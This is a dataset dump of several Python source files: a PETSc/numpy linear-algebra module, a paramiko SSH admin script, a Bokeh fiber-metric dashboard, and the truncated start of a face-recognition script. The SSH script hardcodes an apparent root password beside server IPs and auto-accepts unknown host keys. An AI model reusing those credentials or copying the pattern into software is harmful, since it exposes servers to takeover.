= max(1,par_bs)\n        if self.blockSize > 1 and blockVecType != \"simple\":\n            ## \\todo fix block aij in ParMat_petsc4py\n            self.setType('baij')\n            self.setSizes([[self.blockSize*par_n,self.blockSize*par_N],[self.blockSize*par_nc,self.blockSize*par_Nc]],bsize=self.blockSize)\n            self.setBlockSize(self.blockSize)\n            self.subdomain2global = subdomain2global #no need to include extra block dofs?\n        else:\n            self.setType('aij')\n            self.setSizes([[par_n*self.blockSize,par_N*self.blockSize],[par_nc*self.blockSize,par_Nc*self.blockSize]],bsize=1)\n            if self.blockSize > 1: #have to build in block dofs\n                subdomain2globalTotal = numpy.zeros((self.blockSize*subdomain2global.shape[0],),'i')\n                for j in range(self.blockSize):\n                    subdomain2globalTotal[j::self.blockSize]=subdomain2global*self.blockSize+j\n                self.subdomain2global=subdomain2globalTotal\n            else:\n                self.subdomain2global=subdomain2global\n        from proteus import Comm\n        comm = Comm.get()\n        logEvent(\"ParMat_petsc4py comm.rank= %s blockSize = %s par_n= %s par_N=%s par_nghost=%s par_jacobian.getSizes()= %s \"\n                 % (comm.rank(),self.blockSize,par_n,par_N,par_nghost,self.getSizes()))\n        self.csr_rep = ghosted_csr_mat.getCSRrepresentation()\n        if self.proteus_jacobian is not None:\n            self.proteus_csr_rep = self.proteus_jacobian.getCSRrepresentation()\n        if self.blockSize > 1:\n            blockOwned = self.blockSize*par_n\n            self.csr_rep_local = ghosted_csr_mat.getSubMatCSRrepresentation(0,blockOwned)\n        else:\n            self.csr_rep_local = ghosted_csr_mat.getSubMatCSRrepresentation(0,par_n)\n        self.petsc_l2g = p4pyPETSc.LGMap()\n        self.petsc_l2g.create(self.subdomain2global)\n        self.setUp()\n        self.setLGMap(self.petsc_l2g)\n        #\n        self.colind_global = self.petsc_l2g.apply(self.csr_rep_local[1]) #prealloc needs global indices\n        self.setPreallocationCSR([self.csr_rep_local[0],self.colind_global,self.csr_rep_local[2]])\n        self.setFromOptions()\n\n    def save(self, filename):\n        \"\"\"Saves to disk using a PETSc binary viewer.\n        \"\"\"\n        _petsc_view(self, filename)\n\ndef Vec(n):\n    \"\"\"\n    Build a vector of length n (using numpy)\n\n    For example::\n    \n      >>> Vec(3)\n      array([ 0.,  0.,  0.])\n\n    \"\"\"\n    return numpy.zeros((n,),'d')\n\n\ndef Mat(m,n):\n    \"\"\"\n    Build an m x n matrix (using numpy)\n\n    For example::\n\n      >>> Mat(2,3)\n      array([[ 0.,  0.,  0.],\n            [ 0.,  0.,  0.]])\n\n    \"\"\"\n    return numpy.zeros((m,n),'d')\n\n\ndef SparseMatFromDict(nr,nc,aDict):\n    \"\"\"\n    Build a nr x nc sparse matrix from a dictionary representation\n    \"\"\"\n    import superluWrappers\n    indeces = aDict.keys()\n    indeces.sort()\n    nnz     = len(indeces)\n    nzval   = numpy.zeros((nnz,),'d')\n    rowptr  = numpy.zeros((nr+1,),'i')\n    colind  = numpy.zeros((nnz,),'i')\n    i=0\n    k=0\n    rowptr[i]=0\n    for ij in indeces:\n        nzval[k] = aDict[ij]\n        colind[k] = ij[1]\n        if ij[0] > i:\n            i += 1\n            rowptr[i]=k\n        k+=1\n    rowptr[i+1] = k\n    return (SparseMat(nr,nc,nnz,nzval,colind,rowptr),nzval)\n\n\ndef SparseMat(nr,nc,nnz,nzval,colind,rowptr):\n    \"\"\" Build a nr x nc sparse matrix from the CSR data structures\n\n    Parameters\n    ----------\n    nr : int\n        The number of rows.\n    nc : int\n        The number of columns.\n    nnz : int\n        The number of non-zero matrix entries.\n    nzval : numpy array\n        Array with non-zero matrix entries.\n    colind : numpy array of 32bit integers\n        CSR column array.\n    rowptr : numpy array of 32bit integers\n        CSR row pointer.\n\n    Returns\n    -------\n    sparse_matrix : :class:`proteus.superluWrappers.SparseMatrix`\n        superlu sparse matrix in CSR format.\n\n    Note\n    ----\n    For the superluWrapper, both the colind and rowptr should use\n    32-bit integer data types.\n    \"\"\"\n    if (colind.dtype != 'int32' or rowptr.dtype != 'int32'):\n        print('ERROR - colind and rowptr must be \"int32\" numpy arrays for ' \\\n              'superluWrappers')\n        sys.exit(1)\n    return superluWrappers.SparseMatrix(nr,nc,nnz,nzval,colind,rowptr)\n\nclass SparseMatShell:\n    \"\"\" Build a parallel matrix shell from CSR data structures.\n\n    Parameters\n    ----------\n    ghosted_csr_mat: :class: `proteus.superluWrappers.SparseMatrix`\n    \"\"\"\n    def __init__(self,ghosted_csr_mat):\n        self.ghosted_csr_mat=ghosted_csr_mat\n        self.par_b = None\n        self.xGhosted = None\n        self.yGhosted = None\n    def create(self, A):\n        pass\n    def mult(self, A, x, y):\n        assert self.par_b is not None, \"The parallel RHS vector par_b must be \" \\\n                            \"initialized before using the mult function\"\n        logEvent(\"Using SparseMatShell in LinearSolver matrix multiply\")\n        if self.xGhosted is None:\n            self.xGhosted = self.par_b.duplicate()\n            self.yGhosted = self.par_b.duplicate()\n        self.xGhosted.setArray(x.getArray())\n        self.xGhosted.ghostUpdateBegin(p4pyPETSc.InsertMode.INSERT,p4pyPETSc.ScatterMode.FORWARD)\n        self.xGhosted.ghostUpdateEnd(p4pyPETSc.InsertMode.INSERT,p4pyPETSc.ScatterMode.FORWARD)\n        self.yGhosted.zeroEntries()\n        with self.xGhosted.localForm() as xlf, self.yGhosted.localForm() as ylf:\n            self.ghosted_csr_mat.matvec(xlf.getArray(),ylf.getArray())\n        y.setArray(self.yGhosted.getArray())\n\nclass OperatorShell:\n    \"\"\" A base class for operator shells \"\"\"\n    def __init__(self):\n        pass\n    def create(self,A):\n        pass\n\nclass ProductOperatorShell(OperatorShell):\n    \"\"\" A base class for shell operators that apply multiplcation. \n    \n    Operators derived from this class should have working multiplication\n    functions.\n    \"\"\"\n    def __init__(self):\n        pass\n    def mult(self, A, x, y):\n        raise NotImplementedError('You need to define a multiply' \\\n                                  'function for your shell')\n\nclass InvOperatorShell(OperatorShell):\n    \"\"\" A base class for inverse operator shells \n    \n    Operators derived from this class should have working apply\n    functions.\n    \"\"\"\n    def __init__(self):\n        pass\n    def apply(self, A, x, y):\n        raise NotImplementedError('You need to define an apply' \\\n                                  'function for your shell')\n\n    def _create_tmp_vec(self,size):\n        \"\"\" Creates an empty vector of given size. \n        \n        Arguments\n        ---------\n        size : int\n            Size of the temporary vector.\n\n        Returns\n        -------\n        vec : PETSc vector\n        \"\"\"\n        tmp = p4pyPETSc.Vec().create()\n        tmp.setType('mpi')\n        tmp.setSizes(size)\n        return tmp\n\n    def _create_constant_nullspace(self):\n        \"\"\"Initialize a constant null space. \"\"\"\n        self.const_null_space = p4pyPETSc.NullSpace().create(comm=p4pyPETSc.COMM_WORLD,\n                                                             vectors = (),\n                                                             constant = True)\n    \n    def _converged_trueRes(self,ksp,its,rnorm):\n        \"\"\" Function handle to feed to ksp's setConvergenceTest  \"\"\"\n        ksp.buildResidual(self.r_work)\n        truenorm = self.r_work.norm()\n        if its == 0:\n            self.rnorm0 = truenorm\n            # ARB - Leaving these log events in for future debugging purposes.\n            # logEvent(\"NumericalAnalytics KSP_LSC_LaplaceResidual: %12.5e\" %(truenorm) )\n            # logEvent(\"NumericalAnalytics KSP_LSC_LaplaceResidual(relative): %12.5e\" %(truenorm / self.rnorm0) )\n            # logEvent(\"        KSP it %i norm(r) = %e  norm(r)/|b| = %e ; atol=%e rtol=%e \" % (its,\n            #                                                                                   truenorm,\n            #                                                                                   (truenorm/ self.rnorm0),\n            #                                                                                   ksp.atol,\n            #                                                                                   ksp.rtol))\n            return False\n        else:\n            # ARB - Leaving these log events in for future debugging purposes.\n            # logEvent(\"NumericalAnalytics KSP_LSC_LaplaceResidual: %12.5e\" %(truenorm) )\n            # logEvent(\"NumericalAnalytics KSP_LSC_LaplaceResidual(relative): %12.5e\" %(truenorm / self.rnorm0) )\n            # logEvent(\"        KSP it %i norm(r) = %e  norm(r)/|b| = %e ; atol=%e rtol=%e \" % (its,\n            #                                                                                   truenorm,\n            #                                                                                   (truenorm/ self.rnorm0),\n            #                                                                                   ksp.atol,\n            #                                                                                   ksp.rtol))\n            if truenorm < self.rnorm0*ksp.rtol:\n                return p4pyPETSc.KSP.ConvergedReason.CONVERGED_RTOL\n            if truenorm < ksp.atol:\n                return p4pyPETSc.KSP.ConvergedReason.CONVERGED_ATOL\n        return False\n\nclass MatrixShell(ProductOperatorShell):\n    \"\"\" A shell class for a matrix. \"\"\"\n    def __init__(self,A):\n        \"\"\"\n        Specifies a basic matrix shell.\n\n        Parameters\n        ----------\n        A : matrix\n            A petsc4py matrix object\n        \"\"\"\n        self.A = A\n    def mult(self,A,x,y):\n        \"\"\"\n        Multiply the matrix and x.\n\n        Parameters\n        ----------\n        A : matrix\n            Dummy place holder for PETSc compatibility\n        x : vector\n\n        Returns\n        -------\n        y : vector\n        \"\"\"\n        self.A.mult(x,y)\n\nclass MatrixInvShell(InvOperatorShell):\n    \"\"\" A PETSc shell class for a inverse operator. \"\"\"\n    def __init__(self, A):\n        \"\"\" Initializes operators and solvers for inverse operator.\n\n        Parameters\n        ----------\n        A : PETSc matrix\n            This is the matrix object used to construct the inverse.\n        \"\"\"\n        self.A = A\n        self.ksp = p4pyPETSc.KSP().create()\n        self.ksp.setOperators(self.A,self.A)\n        self.ksp.setType('preonly')\n        self.ksp.pc.setType('lu')\n        self.ksp.setUp()\n    def apply(self,A,x,y):\n        \"\"\" Apply the inverse pressure mass matrix.\n\n        Parameters\n        ----------\n        A : matrix\n            Dummy place holder for PETSc compatibility\n        x : vector\n\n        Returns\n        -------\n        y : vector\n        \"\"\"\n        self.ksp.solve(x,y)\n        \ndef l2Norm(x):\n    \"\"\"\n    Compute the parallel :math:`l_2` norm\n    \"\"\"\n    return math.sqrt(flcbdfWrappers.globalSum(numpy.dot(x,x)))\n\n\ndef l1Norm(x):\n    \"\"\"\n    Compute the parallel :math:`l_1` norm\n    \n    The :math:`l_1` norm of a vector :math:`\\mathbf{x} \\in\n    \\mathbb{R}^n` is\n    \n    .. math:: \n    \n       \\| \\mathbf{x} \\|_{1} = \\sum_{i=0} |x_i|\n    \n    If Python is running in parallel, then the sum is over all\n    dimensions on all processors so that the input must not contain\n    \"ghost\" entries.\n    \n    This implemtation works for a distributed array with no ghost\n    components (each component must be on a single processor).\n    \n    :param x: numpy array of length n\n    :return: float\n    \"\"\"\n    return flcbdfWrappers.globalSum(numpy.sum(numpy.abs(x)))\n\n\ndef lInfNorm(x):\n    \"\"\"\n    Compute the parallel :math:`l_{\\infty}` norm\n\n    The :math:`l_{\\infty}` norm of a vector :math:`\\mathbf{x} \\in\n    \\mathbb{R}^n` is\n\n    .. math::\n\n       \\|x\\|_{\\infty} = \\max_i |x_i|\n       \n    This implemtation works for a distributed array with no ghost\n    components (each component must be on a single processor).\n    \n    :param x: numpy array of length n\n    :return: float\n    \"\"\"\n    return flcbdfWrappers.globalMax(numpy.linalg.norm(x,numpy.inf))\n\n\ndef wDot(x,y,h):\n    \"\"\"\n    Compute the parallel weighted dot product of vectors x and y using\n    weight vector h.\n    \n    The weighted dot product is defined for a weight vector\n    :math:`\\mathbf{h}` as\n\n    .. math:: \n\n       (\\mathbf{x},\\mathbf{y})_h = \\sum_{i} h_{i} x_{i} y_{i}\n    \n    All weight vector components should be positive.\n\n    :param x,y,h: numpy arrays for vectors and weight \n    :return: the weighted dot product\n    \"\"\"\n    return flcbdfWrappers.globalSum(numpy.sum(x*y*h))\n\ndef wl2Norm(x,h):\n    \"\"\"\n    Compute the parallel weighted l_2 norm with weight h\n    \"\"\"\n    return math.sqrt(flcbdfWrappers.globalSum(wDot(x,x,h)))\n\n\ndef wl1Norm(x,h):\n    \"\"\"\n    Compute the parallel weighted l_1 norm with weight h\n    \"\"\"\n    return flcbdfWrappers.globalSum(numpy.sum(numpy.abs(h*x)))\n\n\ndef wlInfNorm(x,h):\n    \"\"\"\n    Compute the parallel weighted l_{\\infty} norm with weight h\n    \"\"\"\n    return flcbdfWrappers.globalMax(numpy.linalg.norm(h*x,numpy.inf))\n\ndef energyDot(x,y,A):\n    \"\"\"\n    Compute the \"energy\" dot product x^t A y (not parallel)\n    \"\"\"\n    return numpy.dot(numpy.dot(x,A),y)\n\ndef energyNorm(x,A):\n    \"\"\"\n    Compute the \"energy\" norm x^t A x (not parallel)\n    \"\"\"\n    return math.sqrt(energyDot(x,x,A))\n\ndef l2NormAvg(x):\n    \"\"\"\n    Compute the arithmetic averaged l_2 norm (root mean squared norm)\n    \"\"\"\n    scale = 1.0/flcbdfWrappers.globalSum(len(x.flat))\n    return math.sqrt(scale*flcbdfWrappers.globalSum(numpy.dot(x,x)))\n\n\nrmsNorm = l2NormAvg\n\n\ndef l2Norm_local(x):\n    \"\"\"\n    Compute the l_2 norm for just local (processor) system  (not parallel)\n    \"\"\"\n    return math.sqrt(numpy.dot(x,x))\n\n\nclass WeightedNorm:\n    \"\"\"\n    Compute the weighted norm for time step control (not currently parallel)\n    \"\"\"\n    def __init__(self,shape,atol,rtol):\n        self.shape = shape\n        self.dim = sum(self.shape)\n        self.atol= atol\n        self.rtol= rtol\n        self.weight = numpy.ones(shape,'d')\n        self.tmp    = numpy.ones(shape,'d')\n    def setWeight(self,y):\n        self.weight[:] = numpy.absolute(y)\n        self.weight   *= self.rtol\n        self.weight   += self.atol\n    def norm(self,y,type):\n        self.tmp[:] = y\n        self.tmp /= self.weight\n        value = numpy.linalg.norm(self.tmp.flat,type)\n        return value/self.dim\n\n\nif __name__ == '__main__':\n    import doctest\n    doctest.testmod()\n    \n\n# def test_MGV():\n#     n=2**8 + 1\n#     h =1.0/(n-1.0)\n#     freq=10\n#     u = numpy.random.uniform(0,1,(n))\n#     u[0]=0.0\n#     u[n-1]=0.0\n#     x = numpy.arange(0,1.0+h,h)\n#     AList=[]\n#     N=n\n#     pList=[]\n#     rList=[]\n#     resList=[]\n#     while N >= 3:\n#         resList.append(Vec(N-2))\n#         A = dict()#SparseMat(N-2,N-2,3*(N-2),sym=True)\n#         H = 1.0/(N-1.0)\n#         #beginAssembly(A)\n#         for i in range(N-2):\n#             A[(i,i)] = 2.0/H**2\n#             if i > 0:\n#                 A[(i,i-1)] = -1.0/H**2\n#             if i < N-3:\n#                 A[(i,i+1)] = -1.0/H**2\n#         #endAssembly(A)\n#         AList.append(SparseMatFromDict(N-2,N-2,A)[0])\n#         cN = (N - 1)/2 + 1\n#         r = dict()#SparseMat(cN-2,N-2,3*(N-2))\n#         p = dict()#SparseMat(N-2,cN-2,3*(N-2))\n#         for i in range(cN-2):\n#             r[(i,2*i)]   = 1.0/4.0\n#             r[(i,2*i+1)] = 2.0/4.0\n#             r[(i,2*i+2)] = 1.0/4.0\n#             p[(2*i,i)] = 1.0/2.0\n#             p[(2*i+1,i)]= 2.0/2.0\n#             p[(2*i+2,i)]= 1.0/2.0\n#         #r.to_csr()\n#         print cN-2,N-2,r.keys()\n#         if cN-2 > 0:\n#             rList.append(SparseMatFromDict(cN-2,N-2,r)[0])\n#         else:\n#             rList.append(None)\n#         #p.to_csr()\n#         pList.append(SparseMatFromDict(N-2,cN-2,p)[0])\n#         N = cN\n#     class Jacobi:\n#         def __init__(self,A):\n#             self.A=A\n#             self.n=A.shape[0]\n#             self.M=Vec(self.n)\n#             for i in range(self.n):\n#                 self.M[i]=1.0/A[i,i]\n#             self.res=Vec(self.n)\n#             self.dx=Vec(self.n)\n#         def apply(self,w,jits,b,x):\n#             self.A.matvec(x,self.res)\n#             self.res-=b\n#             for it in range(jits):\n#                 self.dx[:] = self.M*self.res\n#                 self.dx*=w\n#                 x -= self.dx\n#                 self.A.matvec(x,self.res)\n#                 self.res -= b\n#     jacobiList=[]\n#     for A in AList:\n#         jacobiList.append(Jacobi(A))\n#     jits = 3\n#     w = 2.0/3.0\n#     class MGV:\n#         def __init__(self,smootherList,AList,pList,rList,resList):\n#             self.AList = AList\n#             self.pList = pList\n#             self.rList = rList\n#             self.resList = resList\n#             self.xList=[]\n#             self.vList=[]\n#             self.bList=[]\n#             self.gpList=[]\n#             for res in resList:\n#                 self.xList.append(Vec(len(res)))\n#                 self.vList.append(Vec(len(res)))\n#                 self.bList.append(Vec(len(res)))\n#             self.smootherList = smootherList\n\n#         def apply(self,w,nsPre,nsPost,level,b,x):\n#             logEvent(\"Level = \"+`level`)\n#             if level == len(self.AList)-1:\n#                 self.smootherList[level].apply(1.0,1,b,x)\n#             else:\n#                 #smooth\n#                 self.smootherList[level].apply(w,nsPre,b,x)\n#                 #restrict the defect\n#                 self.rList[level].matvec(self.smootherList[level].res,self.bList[level+1])\n#                 #V-cycle on the error equation\n#                 self.xList[level+1][:]=0.0\n#                 self.apply(w,nsPre,nsPost,level+1,self.bList[level+1],self.xList[level+1])\n#                 #prolong\n#                 self.pList[level].matvec(self.xList[level+1],self.vList[level])\n#                 #correct\n#                 x-=self.vList[level]\n#                 #smooth\n#                 self.smootherList[level].apply(w,nsPost,b,x)\n#                 self.resList[level][:]=self.smootherList[level].res\n#     mgv = MGV(jacobiList,AList,pList,rList,resList)\n#     rnorm=1.0\n#     mgits = 0\n#     while rnorm > 1.0e-10 and mgits < 20:\n#         mgits +=1\n#         mgv.apply(w,jits,jits,0,f[1:n-1],u[1:n-1])\n#         rnorm = l2Norm(resList[0])\n","sub_path":"proteus/LinearAlgebraTools.py","file_name":"LinearAlgebraTools.py","file_ext":"py","file_size_in_byte":29878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"505989767","text":"import paramiko\nimport warnings\nfrom time import sleep\nwarnings.filterwarnings(\"ignore\")\nimport re\nfrom io import StringIO\nfrom io import BytesIO\n\n\naly_ip_package={\"116.62.166.8\":['yunjixinyun','yunjixinyunadmin','xinyunmonitorservice','xinyunservice-assembly'],\n\"116.62.234.15\":['popxinyunservice-assembly','popxinyunadmin'],'47.96.158.187':['xinyunmonitorservice-assembly'],\n\"116.62.196.200\":[\"immessagedao-assembly\",'xinyuncanalconsumer-assembly']}\n\ntxy_ip_package={\"212.64.94.75\":['yunjixinyun','yunjixinyunadmin','xinyunservice-assembly'],\n'212.64.52.21':['userother-assembly','xinyunmonitorservice-assembly','xinyunmonitorjob-assembly'],\n'212.64.65.170':['popxinyunservice-assembly','popxinyunadmin'],\n'212.64.74.58':['immessagedao-assembly','xinyuncanalconsumer-assembly']} #'xinyuncanalconsumer-assembly'  tar 包\n\n\n\n#  212.64.74.58  此id是腾讯云临时加入的\n\n\n\nenv=input(\"CHOOSE ENV:\")\nENV=env.upper()\nif ENV==\"ALY\":\n\tpackagelist=aly_ip_package\nelif ENV==\"TXY\":\n\tpackagelist=txy_ip_package\n\t\n\n\n#加一个case判断\nprint(\"\"\"\n[1]========>yunjixinyun\\n\n[2]========>yunjixinyunadmin\\n\n[3]========>xinyunmonitorservice\\n\n[4]========>xinyunservice-assembly\\n\n[5]========>imserver-assembly\\n\n[6]========>popxinyunservice-assembly\\n\n[7]========>popxinyunadmin\\n\n[8]========>workorderservice-assembly\\n\n[9]========>xinyunmonitorservice-assembly\\n\n[10]=======>immessagedao-assembly\\n\n[11]=======>xinyuncanalconsumer-assembly\\n\n[12]=======>xinyunmq-assembly\\n\n\"\"\")\n\nchoosepack={1:\"yunjixinyun\",2:\"yunjixinyunadmin\",3:\"xinyunmonitorservice\",4:\"xinyunservice-assembly\",\n5:\"imserver-assembly\",6:\"popxinyunservice-assembly\",7:\"popxinyunadmin\",8:\"workorderservice-assembly\",\n9:\"xinyunmonitorservice-assembly\",10:\"immessagedao-assembly\",11:\"xinyuncanalconsumer-assembly\",\n12:\"xinyunmq-assembly\"\n}\n\n\n#输入数字返回包名\ndef get_packagename(num):\n\tfor i,v in choosepack.items():\n\t\tif i==int(num):\n\t\t\tpackage=v\n\t\t\tbreak\n\t\telse:\n\t\t\tpass\n\treturn package\n\n\n\n#  212.64.74.58  此id是腾讯云临时加入的\n\npanduan=True\nwhile panduan:\n\tswitch1=True\n\twhile switch1:\n\t\tnum=input(\"CHOOSE NUM:\")\n\t\tif int(num) in [1,2,3,4,5,6,7,8,9,10,11,12]:\n\t\t\tswitch1=False\n\t\telse:\n\t\t\tprint(\"输入有误请重新输入\")\n\tpackage_name=get_packagename(num)  # 不输入包名直接拿上一个返回值\n\t'''判断包是否在池子里，若在的话返回key值 菜的一批\n\t可以用反射的方法mmp\n\t'''\n\tvalue_list=[]\n\tservices_ip=\"\"\n\tdef get_ip():\n\t\tglobal services_ip\n\t\tfor key,value in packagelist.items():\n\t\t\tfor item in value:\n\t\t\t\tif item==package_name:\n\t\t\t\t\tservices_ip=key\n\t\t\tvalue_list.append(value)\n\t\treturn services_ip\n\t\t\n\tip=get_ip()\n\t# 查询 package 是否在value中\n\tdef get_list(value_list):\n\t\ta,*b=value_list\n\t\tif len(b)==1:\n\t\t\ta.extend(b)\n\t\telse:\n\t\t\ta.extend(get_list(b))\n\t\treturn a\n\t\t\n\t*total,tail=get_list(value_list)\n\ttotal.extend(tail)\n\n\tif package_name not in total:\n\t\tprint(\"=====不存在,检查是否输错或加对应包的名字到ip池子中 ip:['package_name']=====\")\n\telse:\n\t\tip=get_ip()\n\t\tpanduan=False\n\t\t\nprint(\"开始认证\".center(20,\"=\"))\nssh = paramiko.SSHClient()#创建SSH对象\nssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())#允许连接不在know_hosts文件中的主机\nssh.connect(hostname=ip, port=22, username='root', password='Yunjiidc2018')#连接服务器\nprint(\"认证成功\".center(20,\"=\"))\n\nEOF=True\nwhile EOF:\n\taction=input(\"命令: \")\n\tstdin, stdout, stderr = ssh.exec_command(action)   #执行命令并获取命令结果\n\t# stdin为输入的命令\n\t# stdout为命令返回的结果\n\t# stderr为命令错误时返回的结果\n\tres,err = stdout.read(),stderr.read()\n\tresult = res if res else err\n\tprint(result.decode('utf-8', 'ignore'))\n\tif action==\"quit\" or action==\"q\":\n\t\tEOF=False\nssh.close()#关闭连接","sub_path":"python脚本/action_server.py","file_name":"action_server.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"149154231","text":"import sys\n\nfrom bokeh.plotting import Figure\nfrom bokeh.layouts import row, column, widgetbox, gridplot\n\nfrom bokeh.io import curdoc\nfrom bokeh.io import output_notebook, show, output_file\n\nfrom bokeh.models.widgets import PreText, Div\nfrom bokeh.models import PrintfTickFormatter\n\nfrom dashboard.bokeh.helper import write_info\n\nfrom bokeh.models import HoverTool, ColumnDataSource\nfrom bokeh.models import (LinearColorMapper ,    ColorBar)\nfrom bokeh.models import TapTool, OpenURL\nfrom bokeh.models.widgets import Select\n\nimport ast\n\nfrom bokeh.palettes import (RdYlBu, Colorblind, Viridis256)\n\nfrom bokeh.io import output_notebook\nimport numpy as np\n\nfrom dashboard.bokeh.helper import get_url_args, write_description, get_scalar_metrics\n\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n# =============================================\n# THIS comes from INTERFACE\n#\nargs = get_url_args(curdoc)\n\ntry:\n    selected_process_id = args['process_id']\n    selected_arm = args['arm']\n    selected_spectrograph = args['spectrograph']\nexcept:\n    sys.exit('Invalid args')\n\n# ============================================\n#  THIS READ yaml files\n#\n\ncam = selected_arm+str(selected_spectrograph)\ntry:\n    lm = get_scalar_metrics(selected_process_id, cam)\n    metrics, tests  = lm['results']['metrics'], lm['results']['tests']\nexcept:\n    sys.exit('Could not load metrics')\n\ninteg = metrics['integ']\n\ndef palette(name_of_mpl_palette):\n    \"\"\" Transforms a matplotlib palettes into a bokeh \n    palettes\n    \"\"\"\n    from matplotlib.colors import rgb2hex\n    import matplotlib.cm as cm\n    colormap =cm.get_cmap(name_of_mpl_palette) #choose any matplotlib colormap here\n    bokehpalette = [rgb2hex(m) for m in colormap(np.arange(colormap.N))]\n    return bokehpalette\n\n\nmy_palette = palette(\"viridis\")\n\n\nfrom bokeh.models import PrintfTickFormatter\nformatter = PrintfTickFormatter(format='%1.1e')\n\nskc_tooltips = \"\"\"\n    <div>\n        <div>\n            <span style=\"font-size: 12px; font-weight: bold; color: #303030;\">INTEG: </span>\n            <span style=\"font-size: 13px; color: #515151;\">@integ</span>\n        </div>\n        <div>\n            <span style=\"font-size: 12px; font-weight: bold; color: #303030;\">RA: </span>\n            <span style=\"font-size: 13px; color: #515151;\">@ra</span>\n        </div>\n        <div>\n            <span style=\"font-size: 12px; font-weight: bold; color: #303030;\">DEC: </span>\n            <span style=\"font-size: 13px; color: #515151;\">@dec</span>\n        </div>\n    </div>\n\"\"\"\nurl = \"http://legacysurvey.org/viewer?ra=@ra&dec=@dec&zoom=16&layer=decals-dr5\"\n\nc1,c2 = int(selected_spectrograph)*500, (int(selected_spectrograph)+1)*500\nqlf_fiberid = np.arange(0,5000)[c1:c2] \n\nhover = HoverTool(tooltips=skc_tooltips)\n\n\nqainteg = integ['INTEG']\nfibers = integ['STD_FIBERID']\n\nra = [ integ['RA'][c1:c2][i] for i in fibers]\ndec = [ integ['DEC'][c1:c2][i] for i in fibers]\n\nra_not, dec_not=[],[]\nfor i in range(500):\n    if i not in fibers:\n        ra_not.append( integ['RA'][c1:c2][i])\n        dec_not.append(integ['DEC'][c1:c2][i])\n\nsource2 = ColumnDataSource(data={\n                'integ' : qainteg,\n                'fiberid' : fibers,\n                'ra'  : ra,\n                'dec' : dec\n})\n\nsource2_not = ColumnDataSource(data={\n            'ra':ra_not,\n            'dec':dec_not,\n            'integ': ['']*len(dec_not)\n            })\n        \nmapper = LinearColorMapper(palette= my_palette,\n                           low = np.min(qainteg), \n                           high = np.max(qainteg))\n\np2 = Figure(title='INTEG', \n            x_axis_label='RA', y_axis_label='DEC',\n            plot_width=770, plot_height=700,\n            tools= [hover, \"pan,wheel_zoom,box_zoom,reset,tap\"])\n\nradius = 0.016\n\n# Gray Fibers:\np2.circle('ra', 'dec', source= source2_not, radius= radius, \n            fill_color = 'lightgray', line_color='black', line_width=0.3)\n\n# Gray Fibers: marking the Hover point\np2.circle('ra','dec', source = source2_not, radius = 0.0186\n          , fill_color=None, line_color=None\n          , line_width=3, hover_line_color='red', hover_fill_color='lightgrey')\n\ncolor_bar = ColorBar(color_mapper= mapper, label_standoff=-13,\n                     major_label_text_font_style='bold', padding = 46,\n                     major_label_text_align='right',\n                     major_label_text_font_size=\"10pt\",\n                     location=(0, 0))\n\n# Colored fibers\np2.circle('ra','dec', source=source2, radius=radius,\n        fill_color={'field': 'integ', 'transform': mapper}, \n         line_color='black', line_width=0.1)\n\n\n\ntaptool = p2.select(type=TapTool)\ntaptool.callback = OpenURL(url=url)\n\n\n# marking the Hover point\np2.circle('ra','dec', source = source2, radius = 0.0186\n          , fill_color=None, line_color=None\n          , hover_fill_color={'field': 'integ', 'transform': mapper}\n          , line_width=3, hover_line_color='red')\n\n\ncolor_bar.formatter = formatter\np2.add_layout(color_bar, 'left')\n\n#infos\ninfo, nlines = write_info('integ', tests['integ'])\ntxt = PreText(text=info, height=nlines*20, width=p2.plot_width)\np2txt = column(widgetbox(txt),p2)\n\n\n#layout = gridplot([[p2txt]], responsive=False)\ninfo_col=Div(text=write_description('integ'), width=p2.plot_width)\nlayout = column(info_col, p2)\n\n# End of Bokeh Block\ncurdoc().add_root(layout)\ncurdoc().title =\"INTEG\"\n","sub_path":"backend/framework/qlf/dashboard/bokeh/qainteg/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"195742253","text":"\n\n# coding=utf-8\n\n\nimport cv2\nimport face\nimport time\nimport os\nfrom img_vs_folder import save_or_not\nfrom classifier_job import schedule_jobs\nimport tensorflow as tf\nimport facenet\nimport schedule\nimport numpy as np\nfrom datetime import datetime\nimport pickle\n\n\n\n\n\n#人脸画框并显示预测结果\ndef add_overlays(frame, facename,face):\n    face_bb = face.bounding_box.astype(int)\n    if facename == 'New customer':\n        color = (0, 0, 255)\n    else:\n        color = (0, 255, 0)\n    cv2.rectangle(frame,\n                  (face_bb[0], face_bb[1]), (face_bb[2], face_bb[3]),\n                  color, 2)\n    print(facename)\n\n    cv2.putText(frame, facename, (face_bb[0], face_bb[3]),\n                cv2.FONT_HERSHEY_SIMPLEX, 1, color,\n                thickness=2, lineType=2)\n\n\n\n\n\n\n#判断保存人脸函数\ndef save_img(img,face_recognition):\n    faces, prob = face_recognition.identify(img)\n    root_dir = './save_image'\n    dir_list = []\n    today = datetime.today()\n\n    label_id = int(today.strftime('%Y%m%d') + '1000')\n    save_flag = False\n\n    if len(faces) < 1:\n        return False,None,None\n    else:\n        pass\n\n    if not os.path.exists(root_dir):\n        os.mkdir(root_dir)\n        save_label = os.path.join(root_dir, str(label_id))\n        os.mkdir(save_label)\n        savename = os.path.join(save_label, str(time.time()) + '.png')\n        cv2.imwrite(savename, img)\n        save_flag = True\n    else:\n        for root, dirs, _ in os.walk(root_dir):\n            for dir in dirs:\n                # print(file)\n                dir_list.append(os.path.join(root, dir))\n\n        if len(dir_list) == 0:\n            save_label = os.path.join(root_dir, str(label_id))\n            os.mkdir(save_label)\n            savename = os.path.join(save_label, str(time.time()) + '.png')\n            cv2.imwrite(savename, img)\n            save_flag = True\n\n        else:\n            for i in dir_list:\n                for root, _, files in os.walk(i):\n                    if len(files) <= 10:\n                        euc_list = []\n                        for file in files:\n                            # print(file)\n                            vs_file = os.path.join(root, file)\n                            vs_img = cv2.imread(vs_file)\n                            faces_vs, probs = face_recognition.identify(vs_img)\n                            if len(faces_vs) >= 1:\n                                euc = float(\n                                    '%.4f' % np.sqrt(\n                                        np.sum(np.square(np.subtract(faces[0].embedding, faces_vs[0].embedding)))))\n                                euc_list.append(euc)\n                            else:\n                                